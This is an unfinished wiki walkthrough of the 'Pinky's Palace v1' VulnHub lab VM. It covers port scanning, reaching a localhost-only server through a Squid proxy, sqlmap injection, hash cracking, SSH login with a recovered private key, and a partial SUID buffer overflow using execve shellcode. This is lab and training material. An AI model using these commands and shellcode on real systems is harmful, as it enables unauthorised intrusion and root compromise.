Pinky's Palace: v1 ~ VulnHub - Walkthrough

Revision as of 16:12, 14 June 2018 by Dmina (talk | contribs) (→‎Fun part - Priv Escalation)

Objective

xxxxxxxxxxxxxxxxxxxxx

Source: [xxxxxx]

Status: [In Progress]

Methodology

Discovery

Identify the target 

root@blaksec:~# nmap -sP 192.168.56.0/24
.....
root@blaksec:~# export TANGO=192.168.56.104
root@blaksec:~# nmap -O -sT -sV -p- -T5 $TANGO

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-23 19:11 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for $TANGO
Host is up (0.00098s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose

Entry Point #1 - Port 8080 (HTTP)

Enumeration

All initial attempts to access the web server on 8080 came back with status 403 - Forbidden. This usually means one of two things - either there is a WAF (Web Application Firewall) blocking our attempts or the access is simply denied by server configuration. Gut feel telling WAF would be a bit of an overkill for CTF VM so I decided to take chances and try figuring out a work around the configuration based access restriction. Now, 403 usually means access is restricted to a certain IP (e.g. localhost / 127.0.0.1). If it required an authenticated user, it would've thrown a 401

We have a Squid Proxy instance running on port 31337. Accessing Webserver through that proxy should technically trick it to believe that the connection is coming from the same host. To prove our theory, 

root@blaksec:~# curl -x http://$TANGO:31337 http://127.0.0.1:8080/
<html>
	<head>
		<title>Pinky's HTTP File Server</title>
	</head>
	<body>
		<center><h1>Pinky's HTTP File Server</h1></center>
		<center><h3>Under Development!</h3></center>
	</body>
<style>
html{
	background: #f74bff;
}
</html>

Let's take it a step further and check the webserver out with other tools.

nikto

After updating nikto config to use proxy (PROXYHOST/PROXYPORT) 

root@blaksec:~# nikto -h 127.0.0.1 -p 8080 -useproxy -nossl
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    127.0.0.1
+ Target Port:        8080
+ Proxy:              $TANGO:31337
+ Start Time:         2018-03-25 16:04:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Retrieved via header: 1.1 pinkys-palace (squid/3.5.23)
+ Server leaks inodes via ETags, header found with file /, fields: 0x5a74203e 0xe5 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache' found, with contents: HIT from pinkys-palace
+ Uncommon header 'x-cache-lookup' found, with contents: HIT from pinkys-palace:31337
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.10.3' to 'squid/3.5.23' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
+ 7518 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2018-03-25 16:05:10 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Sadly enough, nothing interesting popped up. Except the fact that they're usign nginx. Time to shake things up a bit more!

dirb

Took a while to find the right list but we eventually landed on some goodies. Lesson here - don't give up :) 

root@blaksec:~# dirb http://127.0.0.1:8080/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w
---- Entering directory: http://127.0.0.1:8080/littlesecrets-main/ ----

Awesome! Now let's re-run it this time looking for some files 

root@blaksec:~# dirb http://127.0.0.1:8080/littlesecrets-main/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w -X .php,.bak,.txt

---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)                                                                                                                                           
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:30)

Exploitation

Now that we have two possible entry points, let's dive deeper. Loaded that URL in ZAP but nothing obvious popped up - no LFI/RFI, no Cookies. Let's try something different - sqlmap. 

root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://$TANGO:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3

Bippidy-boop 24 mins later 

[23:41:35] [WARNING] no clear password(s) found                                                                                          
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in user-agent which was susceptible to tame-based sql injection attacks.

A quick check on google.com gave us a valid set of credentials for one of the hashes - hashhack.pro gave us d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3

Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt 

root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

Running hashcat for f543dbfeaf238729831a321c7a68bee4 kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.

pinkymanage:3pinkysaf33pinkysaf3 did not work for the web log in but it did work for ssh 

root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
pinkymanage@192.168.56.104's password: 
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 16:54:49 2018
pinkymanage@pinkys-palace:~$
pinkymanage@pinkys-palace:~$ pwd
/home/pinkymanage
pinkymanage@pinkys-palace:~$ find ./
./
./.bashrc
./.bash_logout
./.profile
./.bash_history
pinkymanage@pinkys-palace:~$ cd /var/www/
pinkymanage@pinkys-palace:/var/www$ find ./
./
./html
./html/index.html
./html/littlesecrets-main
./html/littlesecrets-main/logs.php
./html/littlesecrets-main/login.php
./html/littlesecrets-main/index.html
./html/littlesecrets-main/ultrasecretadminf1l35
./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret
./html/littlesecrets-main/ultrasecretadminf1l35/note.txt
./pinkymanage
./pinkymanage/.ssh
./pinkymanage/.ssh/known_hosts
./pinkymanage/.bash_history
pinkymanage@pinkys-palace:/var/www$
pinkymanage@pinkys-palace:/var/www$ cat ./html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret |base64 -d
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
Hc7KOx/L9g2jd3H8dGPUfKKr9seqtg97ZKA95S/sb4w3Qtl1ABu/pVKZBbGGsHG/
yIvGEPKS+BSZ4stMW7Hnx7ciMuhwcZwLqZmsySumECTueQswNPblITlrqolpYF8x
...
/a63FqPang2VFjfcc/r+6qECgYA+AzrfHFKzhWNCV9cudjp1sMtCOEYXKD1i+Rwh
Y6O85+Og8i2RdB5EkyvJkuwpv8Cf3OQowZinbq+vG0gMzsC9JNxItZ4sS+OOT+Cw
3lsKx+asC2Vx7PiKt8uEbUNvDrOXxPjuRImMhX3YSQ/UAsBGRZXl050UKmoeTIKh
ShiOVQKBgQDsS41imCxW2me541vtwAaIpQ5lo5OVzD2A9teEPsU6F2h6X7pWR6IX
A9rpLWmbfxGgJ0MVhxCjpeYgSC8UsdMzNa2ApcwOWQekNE4eLtO7Zv2SVDr6cIrc
HccEP+MGM2eUfBPnkaPkbCPr7tnqPf8eJqiQUkWVh2CnYzeAHr5OmA==
-----END RSA PRIVATE KEY-----
root@blaksec:~# ssh -i ~/.ssh/pinky_key_rsa -p 64666 pinky@$TANGO
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 12:50:11 2018 from 192.168.56.200
pinky@pinkys-palace:~$
pinky@pinkys-palace:~$ find ./ -perm -4000
./adminhelper

Fun part - Priv Escalation

It appears that adminhelper is susceptible to a buffer overflow vulnerability. It also appears that this binary has a SUID bit turned on which means whatever is done inside of it is done as root

I'm not going to go into much details on buffer overflow but to summarize it works like this - imagine you're reading a book and on the last page it says 'put me back on the shelf'. Well, buffer overflow let's us modify the last page to say 'ok now go read another book'. In other words, instead of finishing it's work when it's done reading the buffer, our binary will be asked to do more work.

After trying a few different numbers we came up wiht 72 as the buffer size. Now we need to craft some code, put it somewhere adminhelper can access it once it's done doing it's normal work.

For this exercise I'll use shellcode from ....

Let's put this code into an environment variable 

pinky@pinkys-palace:~$ export MYEGG=$(python -c 'print("\x90" * 100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")')
pinky@pinkys-palace:~$ echo $MYEGG
����������������������������������������������������������������������������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;
pinky@pinkys-palace:~$

Now we need to figure out where the variable resides in memory. The address can be retrieved using this nifty piece of code I got from somewhere else. Just drop it on the target host and compile.

Note to self: what if the target does not have GCC installed? 

#include <stdlib.h>
int main()
{
	char *addr;
	addr = getenv("MYEGG");
	printf("MYEGG is at %p\n", addr);
	exit(0);
}

Let's compile the code and that address. You may notice I'm creating a folder with a hidden name. This is just a habit not to leave things laying in plain view :) 

pinky@pinkys-palace:~$ mkdir .T0hHfwed3334w.tmp && cd .T0hHfwed3334w.tmp/
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ gcc getMYEGGAddr.c -o getMYEGGAddr
getMYEGGAddr.c: In function ‘main’:
getMYEGGAddr.c:6:2: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
  printf("MYEGG is at %p\n", addr);
  ^~~~~~
getMYEGGAddr.c:6:2: warning: incompatible implicit declaration of built-in function ‘printf’
getMYEGGAddr.c:6:2: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$
.....
pinky@pinkys-palace:~/.T0hHfwed3334w.tmp$ ./getMYEGGAddr 
MYEGG is at 0x7fffffffef45

Final Notes

xxx

Appendix A: Vulnerability Detail and Mitigation

xxx
Rating High
Description xxxx
Impact xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Remediation xxxxxxxxxxxxxxxxx
Retrieved from "https://blaksec.com/index.php?title=Pinky%27s_Palace:_v1_~_VulnHub_-_Walkthrough&oldid=413"